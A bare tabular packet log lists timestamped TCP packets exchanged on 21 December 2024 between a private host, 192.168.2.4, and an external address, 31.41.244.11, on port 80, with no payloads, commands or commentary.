Dec 21, 2024 10:15:23.419457912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.419516087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.419595957 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.419722080 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.420687914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.420736074 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.420949936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.421008110 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.421847105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.421892881 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.422389030 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.422435999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.422993898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.423042059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.423118114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.423460960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.424201965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.424308062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.424355030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.425451994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.425506115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.425554991 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.426590919 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.426657915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.426690102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.426733017 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.427855015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.427901030 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.428040028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.428256989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.428965092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.429012060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.429097891 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.429150105 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.430179119 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.430217028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.430227995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.430259943 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.431355000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.431405067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.431519032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.431566000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.432612896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.432663918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.432672977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.432719946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.433702946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.433749914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.433870077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.433918953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.434866905 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.434954882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.434986115 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.435033083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.436054945 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.436108112 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.436145067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.436234951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.437398911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.437433004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.437448025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.437479973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.438394070 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.438446999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.438496113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.438544989 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.439574957 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.439625978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.439713001 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.439810038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.440814972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.440871000 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.440967083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.441029072 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.441932917 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.441991091 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.442054033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.442100048 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.443131924 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.443243027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.443336010 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.443382025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.444307089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.444354057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.444480896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.444566965 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.445483923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.445529938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.445590973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.445636034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.446672916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.446721077 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.446881056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.446927071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.447916031 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.447968960 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.448025942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.448102951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.449071884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.449122906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.449157953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.449363947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.450252056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.450309992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.450330973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.450378895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.451387882 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.451435089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.451558113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.451601982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.452666044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.452712059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.452719927 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.452784061 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.453809977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.453860998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.453866959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.453901052 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.454998016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.455034018 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.455046892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.455076933 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.456125021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.456178904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.456267118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.456312895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.457341909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.457396984 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.457461119 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.457506895 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.458525896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.458619118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.458657026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.458796024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.459770918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.459817886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.459825993 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.459872007 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.460953951 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.460999966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.461030960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.461076021 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.462054968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.462101936 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.462188005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.462235928 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.463249922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.463350058 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.463360071 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.463392973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.464437962 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.464541912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.464575052 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.464593887 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.465581894 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.465640068 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.465714931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.465759039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.466818094 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.466865063 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.466908932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.466953039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.467956066 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.468007088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.468074083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.468122005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.469168901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.469219923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.469283104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.469440937 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.470347881 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.470395088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.470448971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.470521927 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.471539021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.471585035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.471654892 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.471740961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.472764969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.472820997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.473031998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.473077059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.473974943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.474023104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.474065065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.474138975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.475168943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.475332022 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.475351095 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.475403070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.476268053 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.476317883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.476614952 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.476658106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.477461100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.477654934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.477775097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.477834940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.478530884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.478929996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.608851910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.608875990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.608907938 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.608922958 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.609227896 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.609272003 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.609462976 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.609505892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.610574007 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.610591888 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.610624075 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.610635042 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.611661911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.611699104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.611742020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.612772942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.612934113 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.612943888 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.612977028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.614003897 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.614053011 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.614118099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.614156961 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.615144968 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.615242004 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.615288019 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.616333961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.616403103 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.616427898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.616470098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.617535114 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.617575884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.617671967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.617712975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.618662119 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.618704081 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.618881941 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.619075060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.619940042 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.620007992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.620079041 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.620124102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.621140003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.621156931 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.621186972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.621201992 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.622226000 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.622272015 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.622385025 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.622422934 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.623473883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.623512983 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.623516083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.623558998 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.624602079 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.624644995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.624685049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.624722958 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.625884056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.625973940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.626028061 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.626090050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.626986027 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.627051115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.627054930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.627098083 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.628185034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.628307104 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.628308058 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.628346920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.629339933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.629383087 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.629425049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.629467010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.630520105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.630568981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.630637884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.630700111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.631704092 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.631794930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.631880045 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.631918907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.632905960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.632999897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.633042097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.633084059 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.634202003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.634263039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.634381056 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.634421110 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.635272026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.635325909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.635350943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.635391951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.636488914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.636531115 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.636547089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.636585951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.637643099 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.637686014 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.637721062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.637763023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.638868093 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.638885975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.638911963 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.638928890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.640002966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.640100956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.640142918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.641168118 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.641212940 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.641282082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.641323090 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.642350912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.642390013 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.642453909 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.642493010 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.643609047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.643683910 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.643724918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.644726038 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.644917011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.644965887 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.645908117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.645951986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.646019936 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.646061897 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.647120953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.647238016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.647279978 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.648274899 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.648324966 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.648406029 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.648448944 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.649476051 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.649523020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.649609089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.649647951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:23.650655985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:23.650758028 CET	49781	80	192.168.2.4	31.41.244.11
